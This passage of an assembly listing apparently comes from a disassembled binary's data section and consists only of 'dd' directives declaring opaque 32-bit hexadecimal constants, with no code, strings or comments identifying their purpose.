9CAE2008h, 8A301304h dd 0CCE86498h, 23182E35h, 58300074h, 987C3753h, 9CF80316h dd 679CE4h, 73599327h, 875BC97Ah, 0E143DA09h, 1D6C05D7h dd 2BBA488h, 1668F30Fh, 54D1C875h, 8C1878D9h, 2CC70E00h dd 6A09DED4h, 5C180091h, 3D039231h, 53281C69h, 0F64490ADh dd 0CE2F2D7Fh, 502524C4h, 9F4C20EBh, 15B43Eh, 0D3CD5434h dd 78C483DCh, 9E88CE03h, 98664CB8h, 381E1CE2h, 0B1263F57h dd 794674A8h, 660FD200h, 0F847A77Ah, 3F819FF3h, 6B651E80h dd 4B64BC61h, 0E7444031h, 42E94DB0h, 34D64800h, 314C0701h dd 1921CB9Ah, 167FCCDAh, 0B00086EAh, 99FEA1FCh, 95B54AFh dd 44BA74F3h, 0EF7A004h, 6B9630CAh, 0A102729Ch, 4837ADE6h dd 0F00C63C7h, 0F4E1EBD4h, 0CCAF9F49h, 6CABA78Fh, 3CFC79h dd 0A1552FECh, 5A038Fh, 609909B6h, 1C2D449Fh, 7E044C92h dd 0CD147ACCh, 0ECC4ACC7h, 80C8CC8Fh, 0ACEF86C0h, 901D72E7h dd 44974500h, 5950C80Ch, 20CB272Eh, 13824674h, 78201A1Ch dd 3FFB12h, 199FA633h, 0A2AD7CC0h, 0DC0342ECh, 395B032Fh dd 0EF88A9CDh, 0C471808Dh, 0F2D87238h, 0ECC03073h, 0A8AC0902h dd 0DCF90EEAh, 160B05E8h, 6EDB003Eh, 0FE252BE1h, 0F8111B24h dd 1774676h, 479FB6F2h, 5C8066C3h, 49E1E26Ah, 1264A315h dd 0ECFCD658h, 0B8A0935Eh, 2A98EDBDh, 3558087Fh, 0BB980BC8h dd 4FA0D1F2h, 0C81F8640h, 9F8D72Fh, 0C3F653EEh, 4ABD0600h dd 2BB76E61h, 0E2F8A0DDh, 8BB45F26h, 0C0C188B4h, 6BF82306h dd 18404Ch, 29B7F503h, 6918BFh, 3F2FCC7Fh, 49B0B2B1h, 240994A4h dd 0DC9ED026h, 85F00917h, 0BB585853h, 0DBBF0FE5h, 8C169FB3h dd 3B083480h, 704310DDh, 3B026D8Bh, 59246A5Ch, 850C79E3h dd 0F80849CCh, 65113D58h, 0FCA87E19h, 6677E880h, 1FE09D87h dd 8C054C26h, 79274009h, 18CD79E0h, 288000A3h, 6007BB3Ch dd 6A0C2B56h, 71C4F6B8h, 28E7198h, 0D81AE2D6h, 3080487Fh dd 0D1E96C68h, 716F29C0h, 37DFCF2h, 0E3B72D35h, 50C7F390h dd 443ED349h, 0AF149D0Fh, 0D036C2E2h, 5EAC5C5Eh, 0A100C146h dd 47F885DBh, 6660FA09h, 28B51750h, 0E1C43113h, 2B808DF0h dd 264CBC20h, 4AE270F6h, 0F74A2B2h, 0E0A92711h, 8338445Dh dd 0F6CD0F6Ah, 1FEBC735h, 0BFE9C048h, 0B12731C0h, 2825B5h dd 0C43E108h, 0B35C5FEEh, 770B3379h, 139531A7h, 0E8528588h dd 944688D9h, 914AF859h, 0F5E981B8h, 70404D33h, 3A72EDB8h dd 0D983B309h, 0BC596Ch, 7AEF4484h, 0CB7E2C79h, 0FC7D8B1Ch dd 26E8D401h, 47CD10F4h, 2D4E6464h, 0AF012E3h, 465EDCBCh dd 7CEB71C4h, 0DA3D80B4h, 1C28306Dh, 0FAE0E40Fh, 0F1FA8A89h dd 9F05AFFEh, 4056130Dh, 0DC045CB6h, 0E211AE4Eh, 44FA3E04h dd 0CB6A5E47h, 0C074C8C4h, 72F0A15Fh, 0DC559C05h, 0A8252D41h dd 883C0C80h, 801D829Fh, 0F680C011h, 0D0D2015Dh, 0C8168D2Ch dd 981C9243h, 0F87CF895h, 36BFECEh, 0AD43713h, 44A86CAFh dd 0E4A052A6h, 48B0B1AEh, 20309E28h, 6F447F3Fh, 0AC207669h dd 48EF659Ah, 0CC2250B6h, 1F7BCF00h, 0B8834224h, 69680A07h dd 409C96FAh, 876409CAh, 0BB1A4402h, 50EF9C03h, 40205BD8h dd 23BD508Ch, 58016251h, 3CF524Ah, 2980E33Ch, 0DE8236A2h dd 2B4B27C4h, 97B7CC0h, 30B27313h, 3229E744h, 0C37403B4h dd 2C14F359h, 0FB81E0E4h, 0D71347D6h, 40DCF6F2h, 0BABC4B28h dd 29963600h, 7270859Ch, 0CB370E64h, 242F5CB2h, 0AE51F8C2h dd 75249D5Dh, 0E5261C82h, 0C06462A6h, 419D320h, 0BE15307Eh dd 3930C00Dh, 41956FEDh, 57F205C0h, 0A7424CA2h, 0D70EC100h dd 0BB870382h, 5E61C0ACh, 4707619Eh, 46A35820h, 8FADE4E0h dd 1BF8B794h, 0F8F9A502h, 0E16DBA28h, 0B470E204h, 4E134FAEh dd 0DBE034F8h, 6592B348h, 0C50679FAh, 9EB6251Fh, 27EB5B80h dd 0B21DF5E4h, 0BFF508C4h, 0B7CF0090h, 9F3A3214h, 0C0582D5Ah dd 28BB37E8h, 2080CF71h, 48914263h, 40614580h, 0F566B90h dd 37ABD95Bh, 8E9226E0h, 4F2CED36h, 7F005875h, 0C4F5FE1Eh dd 0B9B00CF2h, 31C161EAh, 0DB8EC89Eh, 0E72B407Eh, 0FC083Bh dd 78D6C4DDh, 89352912h, 0C5A3A700h, 3403418Fh, 80534A0Dh dd 43FBB154h, 489508A0h, 1CE33B05h, 0D842EA16h, 0C087AE63h dd 18A85E28h, 99505DEBh, 0F100167Dh, 9EB04172h, 16694DBDh dd 222F7FDCh, 0D0D6317Ch, 58FF0F80h, 0EC4265h, 52FC4BE7h dd 0CB2A2502h, 0C849AD29h, 437F973Eh, 2E123420h, 0F8C16099h dd 261D6111h, 98A90A30h, 69295403h, 0D483D8C8h, 285AADE5h dd 15C88h, 1331A41Ch, 2066A18Dh, 0AD46EC01h, 2A55830Ch dd 1427DF30h, 0E4FA4BFDh, 0D512D900h, 876E0501h, 8B2E80C0h dd 0D869BB84h, 0DA4A5811h, 74402F03h, 9827F67Ah, 22B9F19h dd 0B3093044h, 0C8C0253Fh, 39904807h, 0B704550Fh, 0BD54C499h dd 0F87D2CF8h, 2CF21F66h, 0FD3C06ADh, 78171889h, 48E2FBB8h dd 0A0222D16h, 722C3B38h, 901C7B1Ch, 0ED0605ACh, 0B8FFD3h dd 19E3342h, 544EB69h, 645E7112h, 411E3430h, 2ECA3B4Dh dd 32190C87h, 97536368h, 0AE4FECE0h, 0F490145Ah, 621BE539h dd 0FF505893h, 0D59C4A1h, 2A99E09Dh, 3F1B1000h, 669AA97Ah dd 257D000Fh, 0B8406097h, 6C602214h, 5DDF19B0h, 28E800EFh dd 330B4366h, 0CD00BB6Dh, 0D202DA65h, 901DA5h, 93B0ABBDh dd 0FE3AD816h, 33B5DB00h, 452EBCB3h, 0AAF65Fh, 0D95AE137h dd 0A4ED80C4h, 83576200h, 53891A1Ch, 0CF0900E4h, 0C16816BDh dd 2707D6C3h, 121E0B91h, 811819CFh, 150FE6C4h, 20A51B79h dd 404874B7h, 0F3B6985Bh, 80583A5Ah, 8C001A3Ah, 0C197A76Bh dd 10F815E7h, 55D2BA00h, 8D28B113h, 7C0D0D0Bh, 1D38C053h dd 9081BA20h, 14421D23h, 0B5831200h, 4DC7C9B1h, 5D7607F8h dd 9357B300h, 97683776h, 3D65003Eh, 0FDEEFBCCh, 34A4AD40h dd 1AB308C6h, 0F1ED15C0h, 0FAD80CEh, 0B66980A0h, 0B7F7BDh dd 0C29CAC15h, 8E3E3343h, 0B8E82050h, 0CF9D09C3h, 381004DFh dd 0C05D7FD5h, 0B2C5B788h, 0CE0153E0h, 9CF7B17Bh, 0E4FCA9A8h dd 6F263238h, 13108B29h, 8348943h, 7F7044DAh, 6CFD2284h dd 9011D042h dd 8732197h, 1C906742h, 118B519Fh, 0A011C647h, 8382170h dd 9B91981Bh, 60EBBE00h, 539C1887h, 0C9305700h, 3CB1B883h dd 6374006Eh, 460F6872h, 86005C3Eh, 0ED042348h, 73F3B2h dd 178DE531h, 0A6095699h, 0D28B9B01h, 0C66D0E2Fh, 2D7572ECh dd 8250C0F6h, 0A8CFB00h, 35A2E689h, 65ECCAh, 0B29BE4CDh dd 8C03E26Fh, 80984B39h, 21FBD2AFh, 382B0E1h, 0B6509EF0h dd 60DF88EAh, 0ED61CEDAh, 0D9DF5200h, 59E6C931h, 0BC9D0FC0h dd 0D04ED496h, 5A2DE00h, 3D007FD7h, 0EA3AD2FAh, 0A7442h dd 713FE6F1h, 909FC987h, 0CE00D6EAh, 5766F215h, 60E9C4h dd 0FA297697h, 0C8E7198Dh, 6B396800h, 0EFF4ABEDh, 11A00F79h dd 7EC18FB6h, 0C0CE4FA4h, 3000E6AEh, 82D46D60h, 1E3A820h dd 0D3B2A9E4h, 0E89F7063h, 0AFF2624Fh, 30222B00h, 2AC3F188h dd 0BC3A3ED3h, 0A35D1800h, 0B77F254Eh, 0FB977900h, 0F490AE89h dd 0A90B1CE6h, 7C41C082h, 99CAE5FCh, 0D8F5BD00h, 7D9A07A1h dd 0A39E0028h, 0FACCD602h, 0A00FBE1h, 3FD8F17Bh, 12883BCFh dd 1C23A550h, 0E02DC070h, 7525E8ACh, 0C648D163h, 4746D8E9h dd 4118015h, 7C00B5ECh, 42251EB3h, 3F929DC5h, 0E7009EB9h dd 680DD7EDh, 90040A58h, 0F142C69Ch, 272A8CD0h, 4A8E00D5h dd 0C1C37F71h, 0AC0095B1h, 0C013E52Ch, 179AFBh, 35DB5A22h dd 6762B23Eh, 0D5FF7300h, 0D82985E9h, 7B09E807h, 1FC300BDh dd 5DF897F3h, 430CD446h, 4851D51Dh, 522706AAh, 1054421Fh dd 5CACF300h, 31CC2495h, 0E97803B7h, 3C66AF8Dh, 92D42001h dd 0B5447490h, 4013E0h, 36371A8h, 2099B931h, 1F1CD600h dd 6ED0A909h, 4DBA0102h, 83AEFB67h, 89ABC05Eh, 0F053552Eh dd 8053E00h, 12A66B50h, 0B0C0CC6Ch, 1407DDD1h, 944606F1h dd 0D4B97940h, 2898CBh, 0B760FDD1h, 428D818Bh, 0B0FB38h dd 0D204A301h, 50DE5Ch, 8B4D4989h, 7E683F24h, 26786100h dd 10DC4A42h, 3070000Ch, 21D64BDh, 3F67E797h, 0AA2752ACh dd 6FD41250h, 0BA8C1F53h, 91D200DDh, 0C9BF5AD9h, 0FC2F9329h dd 75121658h, 31D039Dh, 0C524AAAh, 5BF818A0h, 0FAFF770Eh dd 4CC0405Ch, 0B024DD57h, 0FC210127h, 61A95B3Fh, 34A4303Bh dd 881FC61Ch, 0E051D84Eh, 5894B44Ah, 0CE80048h, 0C3C861F3h dd 46FE57BBh, 90373400h, 0DBFFDD8Dh, 0B8B712B2h, 0D6BE14F8h dd 7EDF007Dh, 29389309h, 6100C943h, 1513BB86h, 0F20F20h dd 0DB57C67Dh, 0A2A5CF39h, 85CDEF0Eh, 0A0AA00E0h, 37FD96Bh dd 9440C7D1h, 0C1983B4Eh, 0EC2849CCh, 7D01CCD0h, 79FDB501h dd 6C31E49Dh, 0DD52C8h, 9905688Eh, 0B5BD078Ah, 0E2BCE900h dd 0D8CAA5AAh, 2992045Bh, 0C03C589Fh, 0B0BBF48Ah, 70CE4C1Dh dd 0CC5254h, 97E71C86h, 40712h, 45641A10h, 70D8E6FBh, 0E3856900h dd 0B6B8FC6Fh, 17A7A30h, 0F3D6353Fh, 0DCAC2AF4h, 94A0F83Dh dd 9426B044h, 0E6006741h, 0CD076549h, 0E5160017h, 0FABE423Ch dd 0B53E1902h, 8F0F0011h, 0EE3FA88Bh, 42D43A9Dh, 0DC9301FDh dd 495DC80Bh, 74EF420h, 80672F39h, 0DF3A51D9h, 4B66266h dd 5638C295h, 0AD228027h, 4601FE15h, 4D707559h, 40F1BB85h dd 45FDC8CFh, 65A63C02h, 9A0CD300h, 8832F3DEh, 2BC3BF00h dd 5E6DF04Eh, 8F740023h, 69E0F690h, 36F0C482h, 2D8B5900h dd 1D49B22h, 157FA33h, 5477935h, 30585CE0h, 0ED045490h dd 0C96D7DDEh, 0D8FD3DC0h, 83430037h, 1A76D3B4h, 260306A5h dd 0C86BBC0Ch, 9449B8F3h, 0D9F83F04h, 20711313h, 954EAFA8h dd 0B27F8F00h, 5CCE2301h, 9F520365h, 0F7302741h, 636971B8h dd 8B61D100h, 3D349839h, 38BF4942h, 0F14E2A00h, 2C970E4Ah dd 0B26A4F00h, 99B8F886h, 1FA012Fh, 5B31D79Ch, 515AE87Ch dd 11F36700h, 2D4C35D4h, 0ED7F000Ah, 6B16D233h, 0F600BD82h dd 0AD7A9CC5h, 3B8B480Ch, 0A900233Ch, 2F12F27Dh, 501E0584h dd 599E033Ah, 0CFC4B940h, 0F32C52Dh, 7B529E72h, 1199C25Ch dd 69C0276Ch, 491C1E67h, 0DE400E81h, 19F06366h, 3E7E9Eh dd 20EED18Eh, 8A34824Bh, 0B1008CB0h, 63B5A15Eh, 67807Eh dd 0AAF2FE6Fh, 20B7F378h, 4F003990h, 5F5A937Dh, 0F63ADh dd 58EADCCAh, 4A69A76h, 0DDC58700h, 0D5E4B983h, 8B6C3AE8h dd 0C80013B8h, 8E864626h, 0CE031B7Bh, 10D0A4F9h, 6D4E38EBh dd 70E97A0Ah, 6E2480BCh, 0D091F84Dh, 4AC99600h, 99F9A87Fh dd 439D07DAh, 0B0C605CBh, 0EFB20DBCh, 8E69023Ah, 138E575h dd 0F618892Bh, 0DAECFCh, 0E3097734h, 8BB4F7E0h, 0F1CA700h dd 5E158A74h, 0AB200358h, 5C69DCAFh, 9ABAEBA8h, 31A2E20Bh dd 0B72B0289h, 0EFD88226h, 902AC07Ch, 1E0B7EF0h, 7B6052h dd 0CEDD6DF7h, 6E00BFB6h, 166A226Bh, 0A0A364E8h, 2CFEC9E6h dd 8C14A8h, 79FB1A08h, 82001F91h, 0DBC1A22Ah, 1DE1327Eh dd 0C0F3135Ch, 8FC0423Ah, 2700751Fh, 0B887CC28h, 0C1DDABh dd 834007C6h, 783B030Dh, 71B9EC01h, 4DBF01B1h, 0C53D12D8h dd 80C74AF2h, 0AE049218h, 0D8AA460Eh, 119780D4h, 91C6BFAh dd 0E68588D1h, 0D6959883h, 79D4CEE8h, 76C48C07h, 0DB40AEC1h dd 919E3Dh, 1CF6E65Dh, 38A98807h, 59F5900h, 31BF0490h dd 873500B4h, 39E50A44h, 8F00B258h, 8C36CB33h, 0AE72D4h dd 140E9E57h, 8BC52898h, 53DDFA00h, 344B8F29h, 69B7EF1h dd 77A6509Dh, 40E1196Fh, 80EE2DD0h, 31FB4800h, 0E2A3D1D0h dd 64290005h, 0D75D72F4h, 2E134E41h, 1B0080CFh, 923F1D45h dd 0B82651B4h, 0B8BA51ECh, 53D503EBh, 0A324F9F2h, 21C2C78Dh dd 0C811EB19h, 5900F809h, 0C29FAD47h, 2CE014h, 0BA7CA533h dd 0C5D783CDh, 0BFD8C805h, 0B84293C0h, 644FA5B7h, 731A00D4h dd 0D1D58F4Ch, 5490FAD2h, 0F8C97F01h, 0BDEAEDE3h, 213A4C4h dd 0B47DCDAAh, 84E83E04h, 1103B032h, 4B9C657Ch, 0BE6EC00Eh dd 0D898CDh, 23AE1398h, 8AFC9244h, 77666212h, 865B2480h dd 81220048h, 0FBA067Fh, 8F00E09Ah, 192643B4h, 39EBFF0Eh dd 80024E1Ah, 58130211h, 0BA3DF0C0h, 0BDDC8D00h, 3B51590Ch dd 0B2163199h, 0F4D101A4h, 874CDA43h, 0C4B800BCh, 61B4FB70h dd 92FC0013h, 5FA6FBBh, 4C2CCF59h, 0F4004CF9h, 0AF7FEC8Eh dd 7EB70191h, 0DF0B9AC5h, 42D6C4D1h, 0CC35E302h, 60E4FE38h dd 0ECD23745h, 19890048h, 1D638830h, 280032FDh, 0ABF72A39h dd 39C1E740h, 55BEA84Ch, 0BA7A9B80h, 9E1C119Fh, 76F29C19h dd 2C754CA1h, 7333F860h, 132CFC61h, 40C871ABh, 0B9237D18h dd 8D484C18h, 0FCE80032h, 4B034DECh, 0A93B0046h, 6B37D282h dd 9E0042FDh, 0E4D99638h, 61FF5Bh, 0FBBFEFC5h, 9FA4912h dd 0D500949Ah, 90F55940h, 3E39863Bh, 0A08007EBh, 5651B213h dd 0A805BAE6h, 53AAD49h, 6EF80Bh, 0C9EEF9F2h, 216600C3h dd 0D4C255E6h, 0A20CF41Ch, 72B69202h, 0AB1000ACh, 0B1FB7515h dd 0DB003E1Bh, 5DA6640Dh, 0B3F67Ah, 73E0F4ACh, 0DD96FBE1h dd 4F487003h, 0E0509CF7h, 0F187E49h, 0E767A39Ah, 0B358AFh dd 2A6A06E0h, 6C91B31Dh, 0FCA9AB00h, 0D57913h, 67A1C63Ah dd 19DC7D65h, 85758800h, 0B4042B50h, 46F8DFh, 9B1EE666h dd 8487EE3Bh, 0E0676E26h, 0A44FBF00h, 1DCABE4Ah, 568FFBh dd 0C82C2821h, 0D13B0E11h, 0A6E404DFh, 7C904680h, 4B3599C9h dd 445F78h, 585169B3h, 8F00E5D8h, 52EBDD9Fh, 30495Bh, 25F5FFA7h dd 0EC2168F1h, 16D8D400h, 8DD599B9h, 6CC10057h, 0DC50DED0h dd 0BC0021D7h, 0AE2EB172h, 7432002h, 0A2DBF52Ch, 7AF2606Eh dd 0AA00BB63h, 77AE53E9h, 282513DFh, 129496ABh, 203894D8h dd 0D5241ECh, 4A20E24h, 58294E80h, 1D2491Ch, 0D01F949Bh dd 70A96F05h, 0D71E95B5h, 0B3409E9Dh, 0B95BA375h, 0E2271D5Fh dd 0B2CF0029h, 0B7E47EDFh, 0B839DB00h, 7DE3C736h, 50140369h dd 54DFA876h, 0E08015D1h, 450089D8h, 237F5DC2h, 32D075h dd 0A05A8E61h, 0A1DE953Ah, 0CE18780Fh, 22961C8h, 99DC030Eh dd 0A1FF4C1Fh, 66944603h, 0C4A2FB20h, 42119840h, 0CB722100h dd 3C024FC1h, 0C0BD00F0h, 209245E0h, 0AEA9022h, 4C4B8E00h dd 0A53E277Fh, 2E600B8h, 0D7D41B8Ah, 7D006CAFh, 6A475E24h dd 7A94627h, 0EB9012D0h, 0D4D44797h, 65B8810Ch, 4D02202h dd 71A83F5Ch, 91110090h, 0D69E0E76h, 0EDE0E75Dh, 1C966978h dd 1A744000h, 0BBCF1436h, 67C900B0h, 794DAE15h, 6800B7A4h dd 349CDFFBh, 1CD0AB9h, 136CEB17h, 0C893557Ah, 1DE47519h dd 70D49A00h, 0D38C66EEh, 0CFDE30C1h, 5F67B011h, 0DF56ED00h dd 0F192FA5Ch, 659838h, 0BD100EF5h, 0AA1B147Bh, 0F8306000h dd 0E11851A2h, 0C11224DCh, 47A640h, 649FC33Dh, 3B1CCA72h dd 8D9CBDD9h, 5DF907C1h, 4DF850CDh, 85100060h, 7ACB534Fh dd 0B20031D1h, 0EF2CB489h, 0F00514h, 0D644B7CFh, 0BE11F8AEh dd 728D9E00h, 69FBEB3Fh, 38BB00F2h, 0C97C81A2h, 62278FAFh dd 30E40001h, 7522A41h, 827A851Ah, 0B7187029h, 5F0078DEh dd 9201DAEBh, 9AF7489Ah, 84800010h, 55835D68h, 0DD17EEAAh dd 0E0009AF3h, 0E1113063h, 1B2047Ah, 83813567h, 0BEBBAA84h dd 0C3EED2D0h, 91E0C758h, 0E0302CE4h, 0DB148800h, 7DD8F5C6h dd 7C9E00B7h, 45436F60h, 4D047A0Bh, 3BD50A75h, 0D036C5C3h dd 0F7DAA3h, 55A0A6E9h, 53093182h, 0E8B7D300h, 4B40C7F8h dd 6FAF3D03h, 1300E2BEh, 6BD5830Fh, 3F0392DBh, 0B6A5FF06h dd 0BA4AC0EAh, 0BBF03AAh, 0DF717709h, 47E082F0h, 0D61ECB00h dd 8F95BC35h, 20860080h, 9E37533Ch, 9B002AD1h, 0C3ADCCF2h dd 1EFE8F31h, 1395EA5Ch, 2D0409B4h, 410BB8C8h, 79001A90h dd 8DA34831h, 9704DDh, 0D5DFDC21h, 0E0364AADh, 80B0B23Eh dd 0E16144A2h, 3D99E14h, 0F498C8A8h, 25E81F0Bh, 76006D0Eh dd 0F675EBD7h, 1D36BD89h, 40B04F80h, 550D9971h, 4109CA69h dd 0F6D67Eh, 0A708759Ch, 0F09E13D4h, 6B7C001Bh, 617DBE1Eh dd 506C4A00h, 5DCCEC94h, 207EBAh, 665B4314h, 5717C9F5h dd 0B7E0B303h, 0F03C8537h, 0F9D1BDh, 79B4E9Fh, 0D871A082h dd 6600EDF8h, 7057245Dh, 203E056h, 0E98B55DEh, 0D860C8A7h dd 0FC14FDF9h, 0EC26E1h, 976604AAh, 0E62F6B1h, 0F4B5ED2Ah dd 3FDE9A00h, 0BF0772CAh, 284B0C53h, 780E6C4h, 902FE75Eh dd 9AE50034h, 4F2B66D8h, 0C101A223h, 728AD608h, 5FCC44DBh dd 0E5BD03A6h, 375E3517h, 92C9CA8h, 0FE019BF8h, 0BE85487Fh dd 0FADC4EDFh, 0E0800018h, 0A4432F02h, 671CE881h, 8D8040A7h dd 2AE78AFFh, 0E38E0562h, 0B56152h, 0E06C3DF0h, 6C997FFCh dd 38014800h, 0C1EDBD33h, 8F9EF1B2h, 6DBE0C6h, 83A2B002h dd 0E074326Dh, 0E6304h, 88D61898h, 520F1B25h, 46F03150h dd 0FB0721h, 8CAA9D40h, 7E4C5C2Ah, 0B74C50h, 1A054ECCh dd 3845BBEh, 0B064350Dh, 6098E0DEh, 0B23F1523h, 4CC0815Eh dd 0F147C9A2h, 18F21470h, 5094EA55h, 20C0EED7h, 0DABF8EC6h dd 1EE9ECF8h, 4016750h, 0C01CADD8h, 7855F584h, 7CBE180h dd 0E2B682A7h, 675C3004h, 1E00C991h, 0F4131D3Ah, 1B65B1h dd 26E21F79h, 2FB4194Ch, 9D61AC0Eh, 786E6069h, 6798D9h dd 2184A7A5h, 0D37E9BD5h, 0CC38AB00h, 572B6F7Fh, 0CAC0F9AEh dd 0B9FD00B6h, 8E798A9Eh, 3C1DF3EFh, 558B03C9h, 6C5D818Fh dd 0E09768E4h, 0ED4480A5h, 312FD4FDh, 26C8005Dh, 0AE7FF9h dd 0C27921BAh, 0F6CDF114h, 0A5D5CE0Ch, 2910C1h, 96DDF520h dd 0BC8131C6h, 40038300h, 0A167C4D9h, 68E7005Ch, 9A0AF25Bh dd 0D250EF97h, 0DD004780h, 8F66B27Ch, 0EABAC368h, 0FA2F051Ch dd 37E40Bh, 56FF8BF7h, 22001121h, 98FB4382h, 2D017DEh dd 96CE944Eh, 0B4E804A9h, 9E3EC7D8h, 18F40E2Ah, 338FE0B8h dd 0FE3F1C15h, 0F747FC48h, 46E9FA31h, 5E75F9D0h, 6041FF5h dd 49F6F197h, 0AE9B733Ah, 0B400D66Fh, 87C23FA3h, 4FF503B0h dd 0ACA801FBh, 97FA9EE0h, 4C593900h, 9F96B855h, 72DF0069h dd 19CFB26Eh, 0D9003CA3h, 0D53715AFh, 3D29BCh, 0A8CE9EB1h dd 40F2DCA1h, 7024C70h, 0B74A498Ch, 0E3BCA06Bh, 6B3FA7E4h dd 590F3835h, 597B6381h, 2FE5C0B3h, 0F12CE900h, 5C0F21B5h dd 16C7E95h, 8B1A6A0Eh, 0C8528ECBh, 630074AFh, 7A88C465h dd 0BEA19Dh, 7D7EEC4Ch, 6244E6F0h, 0B1426003h, 68B2B943h dd 58048069h, 3001D46h, 2849336Eh, 1F112E97h, 0F43D30Bh dd 5E606602h, 0B82B7FF4h, 332497EAh, 90007E74h, 52838D5Ch dd 6B88001Eh, 67F7494Ch, 2E06183Ah, 23A0A3D3h, 0C07669h dd 4FCF4320h, 87976C17h, 56541374h, 280355D4h, 52E84D21h dd 988B9BCEh, 0D9B5FFh, 88041E13h, 74375BAFh, 5EF5F200h dd 0BD41D826h, 0CE3602A1h, 3AD9F985h, 90A3EE60h, 4018E1E6h dd 0CDE06C1Eh, 0CC9737E8h, 4256F050h, 0D900C323h, 9B4BC85Bh dd 6ECF20E0h, 6CA02069h, 3B91485Ch, 570820A7h, 0B851C324h dd 5047EB99h, 0E1415AA8h, 13483490h, 9D752858h, 21C061E8h dd 4E17931h, 7C3A186Eh, 0FB3DD15Eh, 9B207805h, 0D041B6BFh dd 3E047F58h, 19A78DF8h, 85534F5h, 75218580h, 3EC30487h dd 60FDF86Ch, 0B49B39E7h, 48504D8Ch, 0C100BA71h, 54721961h dd 50F91CF1h, 8C2AD045h, 50209B02h, 191387CFh, 0A360105Bh dd 109F0520h, 8207A470h, 0FD4058EDh, 0AC907568h, 20FFCB00h dd 423ADD33h, 3C9094BCh, 0F7A31EF2h, 8CA78148h, 98374B14h dd 8A21CC08h, 0D5039529h, 0D918B0C7h, 6A794E9Dh, 0CC7903D7h dd 475DA81Dh, 8F1A3EE8h, 18DFF8A0h, 0A3DCF754h, 36C04E0Fh dd 0B85482EFh, 43C8B085h, 0CEA108E1h, 0FE62B463h, 3B3300B7h dd 0A4014BE1h, 9DCF9AF2h, 86EC430Ch, 2223EC2Ch, 37A68AEh dd 0DD06CB28h, 9668C764h, 0E4E14E61h, 608C5BCEh, 46382162h dd 511C1DE1h, 53424CC6h, 602AB1ACh, 0FCD925h, 8FB46B75h dd 1C514E65h, 9D7FA14h, 7B5C09D8h, 70142022h, 1106D5DEh dd 7384D2CEh, 0F4854A0Eh, 0BD864EC6h, 0E0EFE700h, 1FFB83Dh dd 3C0657C0h, 30974DB3h, 35020894h, 2079F7A9h, 4384C9Eh dd 3D41048Eh, 218C6225h, 0F8049676h, 15E406B3h, 0BD4DAFF6h dd 277E1C30h, 772A4480h, 607470F5h, 83D160BFh, 23399FC8h dd 555F0359h, 0D87D8FBDh, 840D1Ch, 9AE363F6h, 0FA0B52F1h dd 71ECB500h, 0F06D2E7h, 7BA3A1Fh, 20F66E18h, 0EC00AD59h dd 0FD7FB05Bh, 8854119h, 0FFA60FDAh, 8A73E700h, 7F0F85Fh dd 8777CAD3h, 1842F0A9h, 8EE2DA24h, 7008DE30h, 0B88380C3h dd 0D4084B6h, 0E772ECAEh, 63401278h, 0ECA65A20h, 58C460AFh dd 2425C37Bh, 0A09A4106h, 4909CBh, 4F3D352Bh, 261A9584h dd 85D8C37h, 764E21ACh, 0B93F012Dh, 0DFA187E4h, 0CD4880C5h dd 22031B14h, 0BEBC0090h, 0B1AD75Fh, 0FA61020Dh, 44AB9A80h dd 0EFD08740h, 0A1D10CCEh dd 8D5901DEh, 0F9A8BD00h, 17A7DFA6h, 242B5CD4h, 0CA18EA59h dd 34AD293Eh, 0AE206A00h, 0E3AC6FFDh, 669300D9h, 0B186EA81h dd 2F00B5C4h, 0ABA7827Fh, 37E40AA4h, 9349BD42h, 52C87199h dd 0FD610279h, 0CA781199h, 0C7687F0h, 667E9E2Fh, 21C0EA08h dd 7FCA61BFh, 0DFE6004Bh, 4DBC825Ch, 0A600A2CDh, 8D846898h dd 9831514h, 0F0C131F1h, 1F461402h, 731B8080h, 0C77C89CBh dd 2F194879h, 0F158535Eh, 19D92970h, 0A046BEAEh, 37A998A5h dd 7C6521h, 98A41DD9h, 0A7A9FF70h, 60B8C151h, 5229E734h dd 4F00647Eh, 0AE8736CAh, 0F644862Eh, 0CA7004B0h, 84D37D28h dd 3AFC0879h, 0DCE46687h, 8FA0A10h, 7293FC0h, 8A4DE68Fh dd 432405E0h, 0F0A00C1Bh, 8F10BEA8h, 8450FEB6h, 0A9048C77h dd 72E775ECh, 5D206B62h, 55ECA1h, 0E8AB236Fh, 0C4DCDEC3h dd 0A97BF806h, 1CE0C8B7h, 332F4284h, 0EBE18670h, 1A199DC3h dd 0A01F5290h, 799F9838h, 49288BC7h, 4C49C025h, 85AC8F48h dd 0BC612D0Bh, 0C895D976h, 0D88BC16h, 0D97E6780h, 1E20F24h dd 0DBE6711Dh, 0A829474Bh, 93244C50h, 604F6C01h, 94165C6Ah dd 7F3F01F7h, 1D066202h, 66218CEEh, 55923h, 0FC10C1C7h dd 0E357A91Bh, 289DDF00h, 0F16B0931h, 19771597h, 8407DC85h dd 769981F7h, 49074128h, 0E45BAA67h, 9CE5AFF0h, 0B0E65491h dd 0F09D0048h, 16AE83B0h, 0A511B58h, 484C58D0h, 31E484A5h dd 1DD11860h, 1C82A100h, 442D8B5Ah, 65120488h, 829024D3h dd 4C307D44h, 873508CAh, 0E0642F56h, 0CA75B340h, 97154310h dd 7CE007D1h, 397C8312h, 8F8D4D01h, 98232614h, 0EF300DA2h dd 0D4C9005Ch, 0E76ADCA9h, 2650A57Bh, 840A4580h, 0E41EB312h dd 5444D100h, 99CBBAC7h, 0B4FF0030h, 384DE8B3h, 0CD956D00h dd 6F18CA45h, 3367078Fh, 5383E725h, 4688AE82h, 0D790EA84h dd 0A9C450DFh, 5483C927h, 0D0CBEC7Ah, 4CC7B1C8h, 91DBD620h dd 0DE7D07CDh, 71219262h, 50F807CBh, 3A4ACF94h, 0EC6B7A00h dd 0D9D69EDEh, 609B00B5h, 57E16D18h, 9D008C4Ch, 0F1E85B25h dd 9C5A5E3h, 3B6E33E6h, 90800830h, 0C8501A4Dh, 0D978C023h dd 6646BDD2h, 69003422h, 0E86D940h, 0D0BFF5h, 6615CCA5h dd 10B78C44h, 246C1D3Ch, 46743C26h, 196D0537h, 5880E111h dd 0E2249F1Fh, 464D0A06h, 0B9FB8FE4h, 40C85D3Bh, 8CEABCh dd 28BCAF91h, 0C34B4180h, 44034900h, 0BEA120B1h, 1D9A32BFh dd 3F608260h, 70F81EF5h, 7F747601h, 0E3242F26h, 766527CCh dd 0ABB9C173h, 27189357h, 3039A2BCh, 8B1EAF58h, 4B49B6DCh dd 0E190826Eh, 0A008E31Ah, 7CA17EA5h, 1108B3ABh, 824D897Ch dd 0B17E87F8h, 0BE10E284h, 5A09CA76h, 200DDDFFh, 216C2F54h dd 